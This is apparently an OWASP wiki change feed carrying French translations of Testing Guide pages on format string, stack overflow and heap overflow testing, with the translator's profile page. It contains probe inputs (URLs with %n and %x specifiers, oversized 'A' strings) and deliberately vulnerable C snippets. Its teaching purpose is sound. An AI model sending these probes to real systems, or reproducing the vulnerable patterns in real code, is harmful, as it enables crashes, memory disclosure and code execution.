Cette section décrit comment tester les attaques sur les format string qui peuvent être utilisées pour faire planter un programme ou exécuter du code hostile. Le problème vient de l'utilisation d'entrées utilisateur comme paramètre de format string dans certains fonctions C qui font du formatage, telles que printf().&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Différents langages de la famille C fournissent des fonctions de formatage comme printf( ), fprintf( ), etc. Le format est piloté par un paramètre de ces fonctions nommé spécification de type de format, typiquement %s, %c, etc. La vulnérabilité survient quand les fonctions de formatage sont appelées avec une validation des paramètres inadéquate et avec des données contrôlées par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
printf(argv[1]) seraint un exemple simple. Dans ce cas, la spécification de type n'a pas été explicitement déclarée, permettant à un utilisateur de passer ds caractères tels que %s, %n, %x dans l'application au moyen de l'argument de ligne de commande argv[1].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette situation devient précaire puisqu'un utilisateur qui peut fournir des spécifications de format peut faire les actions malicieuses suivantes :&lt;br /&gt;
&lt;br /&gt;
'''Enumérer la pile du processus :''' Cela permet à un adversaire de visualiser l'organisation de la pile du processus vulnérable en fournissant des format strings, telles que %x ou %p, qui peuvent causer une fuite d'information sensibles. Cela peut aussi être utilisé pour extraire des valeurs canary quand une application est protégée par un mécanismede protection de la pile. Couplé avec une débordement de pile, cette information peut être utilisée pour contourner la protection de la pile.&lt;br /&gt;
&lt;br /&gt;
'''Controler le flux d'exécution :''' Cette vulnérabilité peut aussi faciliter l'exécution de code arbitraire puisqu'elle permet d'écrire 4 octets de données sur une adresse fournie par l'adversaire. Le spécificateur %n est pratique pour écraser divers pointeurs de fonctions en mémoire avec l'adresse de la charge utile malicieuse. Quand ces fonctions écrasées sont appelées, le code malicieux est exécuté.&lt;br /&gt;
&lt;br /&gt;
'''Deni de service :''' Si l'adversaire n'est pas en position de fournir du code malicieux à exécuter, l'application vulnérable peut être plantée en fournissant une séquence de %x suivie par %n.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==comment tester==&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
La clef pour tester les vulnérabilités de format string et de founir des spécificateur de type de format dans les entrées de l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, considérons une application qui traite des chaînes d'URL.&lt;br /&gt;
http://xyzhost.com/html/en/index.htm ou accepte des entrée de formulaires. Si une vulnérabilité de format string est présente dans une des routines traitant cette information, fournir une URL comme http://xyzhost.com/html/en/index.htm%n%n%n ou entrer %n dans un des champs de formulaire peut planter l'application en créant un core dump dans le répertoire hôte.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les vulnérabilité de format string se manifestent surtout sur les serveurs web, serveurs applicatifs ou les applications web utilisant du code basé sur C/C++ ou des CGI écrites en C. Dans la plupart de ces cas, un rapport d'erreur ou une fonction comme syslog( ) a été appelée de manière non sécurisée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Quand on test des scripts CGI pour les vulnérabilité de format string, les paramètres d'entrée peuvent être manipulés pour contenir les spécificateurs %x ou %n. Par exemple ue nrequête légitime comme&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john&amp;amp;code=45765 &amp;lt;/nowiki&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
peut être modifiée en &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&amp;amp;code=45765%x.%x&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Si une vulnérabilité de format string est présente dans la routine traitant la requête, le testeur pourra voir les données de la pile s'afficher dans le navigateur.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Si le code n'est pas disponible, le processus de revue des fragments assembleur (aussi connu sous le nom d'ingénierie inverse des binaires) remontera des informations substantielles sur les bogues de format string.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Prenons l'instance de code (1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
printf(&amp;quot;The string entered is\n&amp;quot;);&lt;br /&gt;
printf(“%s”,argv[1]);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
quand le code désassemblé est examiné dans IDA Pro, l'adresse d'une format string poussée sur la pile est clairement visible avant qu'un appel à printf soit effectué.&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro.gif]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'autre part, quand le même code est compilé sans &amp;quot;%s&amp;quot; comme argument, la variation dans l'assembleur est apparente. Comme on le voit ci-dessous, il n'y a pas d'offset poussé sur la pile avant l'appel à printf.&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro 2.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise === &lt;br /&gt;
&lt;br /&gt;
Lors des revues de code, presque toutes les vulnérabilités de format string peuvent être détectées en utilisant des outils d'analyse de code statique. Soumettre le code montré en (1) a ITS4, qui est un analyseur de code statique, donnera la sortie suivante.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:ITS4.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les fonctions qui sont principalement responsables des vulnérabilités de format string sont celles qui traitent les spécifications de format comme optionelles. Donc, lors d'une revue de code manuelle, l'accent peut être mis sur des fonctions telles que :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
printf&lt;br /&gt;
fprintf&lt;br /&gt;
sprintf&lt;br /&gt;
snprintf&lt;br /&gt;
vfprintf&lt;br /&gt;
vprintf&lt;br /&gt;
vsprintf&lt;br /&gt;
vsnprintf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il peut exister des fonction de formatage spécifiques à certaines plateformes de développement. Il faut aussi vérifier l'absence de format string une fois que l'utilisation dfde leurs arguments a été comprise.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* ITS4: &amp;quot;A static code analysis tool for identifying format string vulnerabilities using source code&amp;quot; - http://www.cigital.com/its4&lt;br /&gt;
* An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.html&lt;br /&gt;
&lt;br /&gt;
==Références==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html&lt;br /&gt;
* Tim Newsham: &amp;quot;A paper on format string attacks&amp;quot; - http://comsec.theclerk.com/CISSP/FormatString.pdf&lt;br /&gt;
* Team Teso: &amp;quot;Exploiting Format String Vulnerabilities&amp;quot; - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html&lt;br /&gt;
* Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187942</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187942"/>
				<updated>2015-01-12T23:29:26Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.1 Tester les débordements de tas]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.2 Tester les débordements de pile]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.3 Tester les format string]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.14.2_Tester_les_d%C3%A9bordements_de_pile&amp;diff=187939</id>
		<title>4.8.14.2 Tester les débordements de pile</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.14.2_Tester_les_d%C3%A9bordements_de_pile&amp;diff=187939"/>
				<updated>2015-01-12T22:51:32Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire ==  Les débordement de pile (Stack overflows) surviennent lorsque des données de taille variable sont cop...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
&lt;br /&gt;
Les débordement de pile ([[Stack overflow|Stack overflows]]) surviennent lorsque des données de taille variable sont copiées dans des tampons de taille fixe alloué sur la pile du programme, sans vérifier les limites. Les vulnérabilités de ce type sont généralement considérées comme très critiques puisque leur exploitation permet l'exécution de code ou des dénis de service. On les trouve rarement sur les plateformes interprêtées, mais elles sont fréquentes dans les programme écrits en C et langages similaires. En fait, presque toutes les plateformes sont vulnérables aux débordement de pile, à l'exception notable de :&lt;br /&gt;
* J2EE – tant qu'aucune méthode native ou appel système n'est appelé&lt;br /&gt;
* .NET – tant qu'aucun code /unsafe ou non-managé n'est invoqué (tel que P/Invoke ou COM Interop)&lt;br /&gt;
* PHP – tant que des programmes externes ou des extensions vulnérables écrites en C ou C++ ne sont pas appelés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les vulnérabilités de débordement de pile permettent souvent à un attaquant de prendre le contrôle du pointeur d'instruction, et donc de modifier l'exécution du programme et d'exécuter du code arbitraire. En outre, des résultats similaires peuvent être obtenus en écrasant d'autres variable et structures que le pointeur d'instruction, comme les Exception Handlers qui sont stockés sur la pile.&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
La clef pour tester les vulnérabilités de débordement de pile d'une application est de fournir des données de taille plus grande que ce qui est attendu. Cependant, ce n'est pas suffisant. Il devient nécessaire d'inspecter le flux d'exécution de l'application et les réponses pour être certain qu'un débordement a bien été déclenché. Ainsi, les étapes requises pour localiser et confirmer les dépassement de pile seront d'attacher un débogueur à l'application ou au processus ciblé, de générer des entrées malformées pour l'application, de les lui envoyer, et d'inspecter les réponses dans le débogueur. Le débogueur permet au testeur de visualiser le flux d'exécution et l'état des registres quand la vulnérabilité est déclenchée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'autre part, une forme plus passive de test peut être employée, qui implique d'inspecter le code assembleur de l'application avec des désassembleurs. Dans ce cas, diverses sections sont scannées pour chercher des des signatures de fragments vulnérables. Cette technique est souvent appelée ingénierie inverse et est un processus complexe.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A guise d'exemple simple, considérons la technique suivante pour rechercher des débordements de pile dans un exécutable &amp;quot;sample.exe&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  char buff[20];&lt;br /&gt;
  printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
  strcpy(buff,argv[1]);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le fichier sample.exe est lancé dans un débogueur, OllyDbg dans notre cas.&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Puisque l'application attend des arguments en ligne de commande, une large séquence de caractères comme des 'A' peut être fourni dans le champ argument montré plus haut.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A l'ouverture, l'exécutable ave les arguments fournis et l'exécution continue vont fournir les résultats.&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme on le voit dans la fenêtre des registres du débogueur, l'EIP ou Extended Instruction Pointer, qui pointe sur la prochaine instruction à exécuter, contient la valeur ‘41414141’. '41' est la représentation hexadécimale du caractère 'A' et donc la chaîne 'AAA' est traduite par 41414141.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela montre clairement comment des données en entrée peuvent être utilisées pour écraser le pointeur d'instruction avec des données fournies par l'utilisateur et prendre le contrôle de l'exécution. Un débordement de pile peut également permettre l'écrasement de structure basées sur la pile, comme SHH (Structured Exception Handler) pour contrôler l'exécution du code et contourner certains mécanismes de protection de la pile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme indiqué précédemment, d'autres méthodes pour tester de telles vulnérabilités existent, comme l'ingénierie inverse des binaires de l'application, qui est complexe et difficile, et les techniques de fuzzing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise === &lt;br /&gt;
&lt;br /&gt;
Quand on fait de la reuve de code pour chercher les débordement de pile, il est conseillé de chercher les appels à des fonctions de bibliothèques non sécurisées comme gets(), strcpy(), strcat(), etc. qui ne valident pas la longueur de la chaîne source et copie aveuglément les données vers des tampons de tailles fixes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, considérons la fonction suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occurred on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La ligne strcat(b,inpt) ci-dessus va causer un débordement de pile si inpt fait plus que 1024 octets. Cela ne montre pas seulement une utilisation non sécurisée de strcat, mais aussi combien il est important de vérifier la longueur des chaînes référencées par un pointeur de caractères passé en argument à une fonction ; dans ce cas, la longueur de la chaîne référencée par *inpt. C'est donc toujours une bonne idée de tracer la source des arguments d'une fonction et de vérifier la longueur des chaînes pendant la revue de code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la fonction strncpy(), relativement plus sécurisée, peut aussi causer des débordement de pile, puisqu'elle ne restreint que le nombre d'octets copiés dans le tampon de destination. Si l'argument taille utilisé pour ça est généré dynamiquement, basé sur une entrée utilisateur ou calculé de manière incorrecte dans une boucle, il est possible de déborder les tampons de pile. Par exemple : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
où source est une donnée contrôlable par l'utilisateur. Un bon exemple serait la vulnérabilité de débordement de pile de trans2open de samba (http://www.securityfocus.com/archive/1/317615).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Des vulnérabilité peuvent aussi apparaître dans le code d'analyse des URLs et d'adresses. Dans de tels cas, une fonction comme memccpy() est usuellement employée pour copiers des données vers un tampon de destination depuis une source jusqu'à ce qu'un caractère soit rencontré. considérons la fonction :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, l'information contenue dans path pourrait être plus grande que 40 octets avant que '\' soit rencontré. Si c'est le cas, cela cause un débordement de pile. Une vulnérabilité similaire a été découverte dans le sous-système RPCSS de Windows (MS03-026). Le code vulnérable copiait des nom de serveru depuis des chemins UNC dans des tampons de taille fixe jusqu'à ce que '\' soit rencontré. La longueur du nom du serveur était dans ce cas contrôlable par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En dehors des revue de code manuelles, les outils d'analyse de code statiques peuvent aussi être très utiles. Cependant, il ont tendance à générer de nombreux faux positifs et ne vont permettre de localiser qu'une petite proportion de dafauts. Ils aident à réduire la surcharge en trouvant les vulnérabilités les plus évidentes, comme strcpy() et sprintf(). Beaucoup d'outils comme RATS, Flowfinder et ITS4 sont disponibles pour analyser le langage C et ses dérivés.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Références==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://insecure.org/stf/smashstack.html&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187938</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187938"/>
				<updated>2015-01-12T22:51:16Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.1 Tester les débordements de tas]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.2 Tester les débordements de pile]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.14.1_Tester_les_d%C3%A9bordements_de_tas&amp;diff=187932</id>
		<title>4.8.14.1 Tester les débordements de tas</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.14.1_Tester_les_d%C3%A9bordements_de_tas&amp;diff=187932"/>
				<updated>2015-01-12T21:39:22Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire == Dans ce test, le testeur vérifie s'il est possible de cause un débordement de tas (Heap overflow) exploitant un segme...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Dans ce test, le testeur vérifie s'il est possible de cause un débordement de tas ([[Heap overflow]]) exploitant un segment de mémoire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le tas est un segment de mémoire utilisé pour stocker des données allouées dynamiquement ainsi que les variables globales. Chaque block de mémoire du tas consiste en balises limites contenant des informations de gestion de la mémoire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Quand un tampon dans le tas est débordé, les informations de contrôle de ces balises sont écrasées. Quand la routine de gestion du tas libère le tampon, un dépassement d'écriture a lieu, entraînant une violation d'accès. Quand le dépassement est effectué de façon contrôlée, la vulnérabilité permet à un attaquant d'écraser la zone mémoire voulue par une valeur déterminée. En pratique, un attaquant peut remplacer des pointeurs de fonctions et diverses adresses stockées dans des structures comme GET, .dtors, ou TEB avec l'adresse d'une charge utile malicieuse.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il y a un grand nombre de variante de vulnérabilités de débordement (ou corruption) de tas, qui peuvent permettre l'écrasement de pointeurs de fonctions, ou d'exploiter les structures de gestionde la mémoire pour exécuter du code arbitrairement. La découverte des débordements de tas requiert une étude plus détaillée que celle des débordements de pile, puisque certaines conditions doivent être remplies pour qu'il soient exploitables.&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
&lt;br /&gt;
